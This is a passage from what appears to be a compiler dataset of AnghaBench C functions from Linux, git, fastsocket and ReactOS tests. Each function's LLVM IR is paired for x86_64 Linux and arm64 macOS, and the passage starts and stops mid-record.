!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/linux/mm/extr_ksm.c_try_to_merge_two_pages.c'
source_filename = "AnghaBench/linux/mm/extr_ksm.c_try_to_merge_two_pages.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @try_to_merge_two_pages], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal noundef ptr @try_to_merge_two_pages(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3) #0 {
%5 = tail call i32 @try_to_merge_with_ksm_page(ptr noundef %0, ptr noundef %1, ptr noundef null) #2
%6 = icmp eq i32 %5, 0
br i1 %6, label %7, label %12
7: ; preds = %4
%8 = tail call i32 @try_to_merge_with_ksm_page(ptr noundef %2, ptr noundef %3, ptr noundef %1) #2
%9 = icmp eq i32 %8, 0
br i1 %9, label %12, label %10
10: ; preds = %7
%11 = tail call i32 @break_cow(ptr noundef %0) #2
br label %12
12: ; preds = %7, %10, %4
%13 = phi ptr [ null, %4 ], [ null, %10 ], [ %1, %7 ]
ret ptr %13
}
declare i32 @try_to_merge_with_ksm_page(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @break_cow(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| linux_mm_extr_ksm.c_try_to_merge_two_pages |
; ModuleID = 'AnghaBench/git/extr_archive-zip.c_has_only_ascii.c'
source_filename = "AnghaBench/git/extr_archive-zip.c_has_only_ascii.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @has_only_ascii], section "llvm.metadata"
; Function Attrs: nofree norecurse nosync nounwind memory(read, inaccessiblemem: none) uwtable
define internal i32 @has_only_ascii(ptr nocapture noundef readonly %0) #0 {
br label %2
2: ; preds = %2, %1
%3 = phi ptr [ %0, %1 ], [ %5, %2 ]
%4 = phi i32 [ undef, %1 ], [ %10, %2 ]
%5 = getelementptr inbounds i8, ptr %3, i64 1
%6 = load i8, ptr %3, align 1, !tbaa !5
%7 = icmp eq i8 %6, 0
%8 = icmp slt i8 %6, 0
%9 = select i1 %8, i32 0, i32 %4
%10 = select i1 %7, i32 1, i32 %9
%11 = icmp sgt i8 %6, 0
br i1 %11, label %2, label %12
12: ; preds = %2
ret i32 %10
}
attributes #0 = { nofree norecurse nosync nounwind memory(read, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"omnipotent char", !7, i64 0}
!7 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/git/extr_archive-zip.c_has_only_ascii.c'
source_filename = "AnghaBench/git/extr_archive-zip.c_has_only_ascii.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @has_only_ascii], section "llvm.metadata"
; Function Attrs: nofree norecurse nosync nounwind ssp memory(read, inaccessiblemem: none) uwtable(sync)
define internal i32 @has_only_ascii(ptr nocapture noundef readonly %0) #0 {
br label %2
2: ; preds = %2, %1
%3 = phi ptr [ %0, %1 ], [ %5, %2 ]
%4 = phi i32 [ undef, %1 ], [ %10, %2 ]
%5 = getelementptr inbounds i8, ptr %3, i64 1
%6 = load i8, ptr %3, align 1, !tbaa !6
%7 = icmp eq i8 %6, 0
%8 = icmp slt i8 %6, 0
%9 = select i1 %8, i32 0, i32 %4
%10 = select i1 %7, i32 1, i32 %9
%11 = icmp sgt i8 %6, 0
br i1 %11, label %2, label %12
12: ; preds = %2
ret i32 %10
}
attributes #0 = { nofree norecurse nosync nounwind ssp memory(read, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| git_extr_archive-zip.c_has_only_ascii |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/media/video/extr_v4l2-dev.c_devnode_find.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/media/video/extr_v4l2-dev.c_devnode_find.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @devnode_find], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal i32 @devnode_find(ptr nocapture noundef readonly %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = load i32, ptr %0, align 4, !tbaa !5
%5 = tail call i32 @devnode_bits(i32 noundef %4) #2
%6 = tail call i32 @find_next_zero_bit(i32 noundef %5, i32 noundef %2, i32 noundef %1) #2
ret i32 %6
}
declare i32 @find_next_zero_bit(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @devnode_bits(i32 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"video_device", !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/media/video/extr_v4l2-dev.c_devnode_find.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/media/video/extr_v4l2-dev.c_devnode_find.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @devnode_find], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal i32 @devnode_find(ptr nocapture noundef readonly %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = load i32, ptr %0, align 4, !tbaa !6
%5 = tail call i32 @devnode_bits(i32 noundef %4) #2
%6 = tail call i32 @find_next_zero_bit(i32 noundef %5, i32 noundef %2, i32 noundef %1) #2
ret i32 %6
}
declare i32 @find_next_zero_bit(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @devnode_bits(i32 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"video_device", !8, i64 0}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
| fastsocket_kernel_drivers_media_video_extr_v4l2-dev.c_devnode_find |
; ModuleID = 'AnghaBench/linux/drivers/net/can/m_can/extr_m_can.c_m_can_init_ram.c'
source_filename = "AnghaBench/linux/drivers/net/can/m_can/extr_m_can.c_m_can_init_ram.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_2__ = type { i32, i32 }
@MRAM_SIDF = dso_local local_unnamed_addr global i64 0, align 8
@MRAM_TXB = dso_local local_unnamed_addr global i64 0, align 8
@TXB_ELEMENT_SIZE = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local void @m_can_init_ram(ptr noundef %0) local_unnamed_addr #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !5
%3 = load i64, ptr @MRAM_SIDF, align 8, !tbaa !10
%4 = getelementptr inbounds %struct.TYPE_2__, ptr %2, i64 %3
%5 = load i32, ptr %4, align 4, !tbaa !12
%6 = load i64, ptr @MRAM_TXB, align 8, !tbaa !10
%7 = getelementptr inbounds %struct.TYPE_2__, ptr %2, i64 %6
%8 = load i32, ptr %7, align 4, !tbaa !12
%9 = getelementptr inbounds %struct.TYPE_2__, ptr %2, i64 %6, i32 1
%10 = load i32, ptr %9, align 4, !tbaa !15
%11 = load i32, ptr @TXB_ELEMENT_SIZE, align 4, !tbaa !16
%12 = mul nsw i32 %11, %10
%13 = add nsw i32 %12, %8
%14 = icmp slt i32 %5, %13
br i1 %14, label %15, label %20
15: ; preds = %1, %15
%16 = phi i32 [ %18, %15 ], [ %5, %1 ]
%17 = tail call i32 @m_can_fifo_write_no_off(ptr noundef nonnull %0, i32 noundef %16, i32 noundef 0) #2
%18 = add nsw i32 %16, 4
%19 = icmp slt i32 %18, %13
br i1 %19, label %15, label %20, !llvm.loop !17
20: ; preds = %15, %1
ret void
}
declare i32 @m_can_fifo_write_no_off(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"m_can_classdev", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"long", !8, i64 0}
!12 = !{!13, !14, i64 0}
!13 = !{!"TYPE_2__", !14, i64 0, !14, i64 4}
!14 = !{!"int", !8, i64 0}
!15 = !{!13, !14, i64 4}
!16 = !{!14, !14, i64 0}
!17 = distinct !{!17, !18}
!18 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/linux/drivers/net/can/m_can/extr_m_can.c_m_can_init_ram.c'
source_filename = "AnghaBench/linux/drivers/net/can/m_can/extr_m_can.c_m_can_init_ram.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.TYPE_2__ = type { i32, i32 }
@MRAM_SIDF = common local_unnamed_addr global i64 0, align 8
@MRAM_TXB = common local_unnamed_addr global i64 0, align 8
@TXB_ELEMENT_SIZE = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define void @m_can_init_ram(ptr noundef %0) local_unnamed_addr #0 {
%2 = load ptr, ptr %0, align 8, !tbaa !6
%3 = load i64, ptr @MRAM_SIDF, align 8, !tbaa !11
%4 = getelementptr inbounds %struct.TYPE_2__, ptr %2, i64 %3
%5 = load i32, ptr %4, align 4, !tbaa !13
%6 = load i64, ptr @MRAM_TXB, align 8, !tbaa !11
%7 = getelementptr inbounds %struct.TYPE_2__, ptr %2, i64 %6
%8 = load i32, ptr %7, align 4, !tbaa !13
%9 = getelementptr inbounds i8, ptr %7, i64 4
%10 = load i32, ptr %9, align 4, !tbaa !16
%11 = load i32, ptr @TXB_ELEMENT_SIZE, align 4, !tbaa !17
%12 = mul nsw i32 %11, %10
%13 = add nsw i32 %12, %8
%14 = icmp slt i32 %5, %13
br i1 %14, label %15, label %20
15: ; preds = %1, %15
%16 = phi i32 [ %18, %15 ], [ %5, %1 ]
%17 = tail call i32 @m_can_fifo_write_no_off(ptr noundef nonnull %0, i32 noundef %16, i32 noundef 0) #2
%18 = add nsw i32 %16, 4
%19 = icmp slt i32 %18, %13
br i1 %19, label %15, label %20, !llvm.loop !18
20: ; preds = %15, %1
ret void
}
declare i32 @m_can_fifo_write_no_off(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"m_can_classdev", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !12, i64 0}
!12 = !{!"long", !9, i64 0}
!13 = !{!14, !15, i64 0}
!14 = !{!"TYPE_2__", !15, i64 0, !15, i64 4}
!15 = !{!"int", !9, i64 0}
!16 = !{!14, !15, i64 4}
!17 = !{!15, !15, i64 0}
!18 = distinct !{!18, !19}
!19 = !{!"llvm.loop.mustprogress"}
| linux_drivers_net_can_m_can_extr_m_can.c_m_can_init_ram |
; ModuleID = 'AnghaBench/linux/drivers/staging/rtl8188eu/os_dep/extr_rtw_android.c_rtw_android_get_macaddr.c'
source_filename = "AnghaBench/linux/drivers/staging/rtl8188eu/os_dep/extr_rtw_android.c_rtw_android_get_macaddr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [14 x i8] c"Macaddr = %pM\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @rtw_android_get_macaddr], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @rtw_android_get_macaddr(ptr nocapture noundef readonly %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = load i32, ptr %0, align 4, !tbaa !5
%5 = tail call i32 @snprintf(ptr noundef %1, i32 noundef %2, ptr noundef nonnull @.str, i32 noundef %4) #2
ret i32 %5
}
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"net_device", !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/linux/drivers/staging/rtl8188eu/os_dep/extr_rtw_android.c_rtw_android_get_macaddr.c'
source_filename = "AnghaBench/linux/drivers/staging/rtl8188eu/os_dep/extr_rtw_android.c_rtw_android_get_macaddr.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [14 x i8] c"Macaddr = %pM\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @rtw_android_get_macaddr], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @rtw_android_get_macaddr(ptr nocapture noundef readonly %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = load i32, ptr %0, align 4, !tbaa !6
%5 = tail call i32 @snprintf(ptr noundef %1, i32 noundef %2, ptr noundef nonnull @.str, i32 noundef %4) #2
ret i32 %5
}
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"net_device", !8, i64 0}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
| linux_drivers_staging_rtl8188eu_os_dep_extr_rtw_android.c_rtw_android_get_macaddr |
; ModuleID = 'AnghaBench/reactos/modules/rostests/winetests/user32/extr_sysparams.c_test_SPI_SETMOUSEHOVERTIME.c'
source_filename = "AnghaBench/reactos/modules/rostests/winetests/user32/extr_sysparams.c_test_SPI_SETMOUSEHOVERTIME.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@.str = private unnamed_addr constant [37 x i8] c"testing SPI_{GET,SET}MOUSEHOVERTIME\0A\00", align 1
@SPI_GETMOUSEHOVERTIME = dso_local local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [28 x i8] c"SPI_{GET,SET}MOUSEHOVERTIME\00", align 1
@SPI_SETMOUSEHOVERTIME = dso_local local_unnamed_addr global i32 0, align 4
@SPIF_UPDATEINIFILE = dso_local local_unnamed_addr global i32 0, align 4
@SPIF_SENDCHANGE = dso_local local_unnamed_addr global i32 0, align 4
@.str.2 = private unnamed_addr constant [22 x i8] c"SPI_SETMOUSEHOVERTIME\00", align 1
@.str.3 = private unnamed_addr constant [18 x i8] c"%d: rc=%d err=%d\0A\00", align 1
@.str.4 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@SPI_SETMOUSEHOVERTIME_REGKEY = dso_local local_unnamed_addr global i32 0, align 4
@SPI_SETMOUSEHOVERTIME_VALNAME = dso_local local_unnamed_addr global i32 0, align 4
@.str.5 = private unnamed_addr constant [66 x i8] c"***warning*** failed to restore the original value: rc=%d err=%d\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @test_SPI_SETMOUSEHOVERTIME], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @test_SPI_SETMOUSEHOVERTIME() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca [10 x i8], align 1
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %1) #3
%4 = tail call i32 @trace(ptr noundef nonnull @.str) #3
%5 = tail call i32 @SetLastError(i32 noundef -559038737) #3
%6 = load i32, ptr @SPI_GETMOUSEHOVERTIME, align 4, !tbaa !5
%7 = call i32 @SystemParametersInfoA(i32 noundef %6, i32 noundef 0, ptr noundef nonnull %1, i32 noundef 0) #3
%8 = call i32 @test_error_msg(i32 noundef %7, ptr noundef nonnull @.str.1) #3
%9 = icmp eq i32 %8, 0
br i1 %9, label %62, label %10
10: ; preds = %0
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 10, ptr nonnull %3) #3
%11 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !5
%12 = load i32, ptr @SPIF_UPDATEINIFILE, align 4, !tbaa !5
%13 = load i32, ptr @SPIF_SENDCHANGE, align 4, !tbaa !5
%14 = or i32 %13, %12
%15 = call i32 @SystemParametersInfoA(i32 noundef %11, i32 noundef 10, ptr noundef null, i32 noundef %14) #3
%16 = call i32 @test_error_msg(i32 noundef %15, ptr noundef nonnull @.str.2) #3
%17 = icmp eq i32 %16, 0
br i1 %17, label %61, label %18
18: ; preds = %10
%19 = call i32 (...) @GetLastError() #3
%20 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %15, ptr noundef nonnull @.str.3, i32 noundef 0, i32 noundef %15, i32 noundef %19) #3
%21 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !5
%22 = call i32 @test_change_message(i32 noundef %21, i32 noundef 0) #3
%23 = call i32 @sprintf(ptr noundef nonnull %3, ptr noundef nonnull @.str.4, i32 noundef 10) #3
%24 = load i32, ptr @SPI_SETMOUSEHOVERTIME_REGKEY, align 4, !tbaa !5
%25 = load i32, ptr @SPI_SETMOUSEHOVERTIME_VALNAME, align 4, !tbaa !5
%26 = call i32 @test_reg_key(i32 noundef %24, i32 noundef %25, ptr noundef nonnull %3) #3
%27 = load i32, ptr @SPI_GETMOUSEHOVERTIME, align 4, !tbaa !5
%28 = call i32 @SystemParametersInfoA(i32 noundef %27, i32 noundef 0, ptr noundef nonnull %2, i32 noundef 0) #3
%29 = call i32 (...) @GetLastError() #3
%30 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %15, ptr noundef nonnull @.str.3, i32 noundef 0, i32 noundef %15, i32 noundef %29) #3
%31 = load i32, ptr %2, align 4, !tbaa !5
